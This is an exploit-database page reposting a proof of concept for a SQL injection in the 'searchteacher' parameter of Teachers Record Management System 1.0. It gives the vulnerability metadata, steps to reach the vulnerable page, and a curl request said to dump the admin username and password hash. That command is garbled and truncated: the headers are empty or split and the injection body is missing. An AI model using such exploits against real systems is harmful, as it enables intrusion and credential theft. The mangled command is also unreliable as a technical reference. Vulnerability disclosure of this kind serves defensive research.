Teachers Record Management System 1.0 searchteacher SQL Injection

CVE Category Price Severity
N/A CWE-89 Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2021-02-19
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L 0.04239 0.54447

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Teachers Record Management System 1.0 searchteacher SQL Injection
# Exploit Title: Teachers Record Management System 1.0 - 'searchteacher' SQL Injection
# Date: 13/02/2021
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage:
# Software Link:
# Version:1.0
# Tested on: latest version of Chrome, Firefox on Windows and Linux

--------------------------Proof of Concept-----------------------

1. Navigate to http://host/trms/
2. The "searchteacher" parameter in search-teacher.php is vulnerable to SQL
3. Below curl request will display the admin username and password hash

------------------------Exploit request-----------------------------

curl -i -s -k -X $'POST' \
    -H $'Host:' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0' -H $'Accept:
-H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate'
-H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length:
130' -H $'Origin:' -H $'DNT: 1' -H $'Connection: close'
-H $'Referer:' -H $'Cookie:
PHPSESSID=t2lshgnjhov62o1s0q0iq331p9' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'PHPSESSID=t2lshgnjhov62o1s0q0iq331p9' \

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum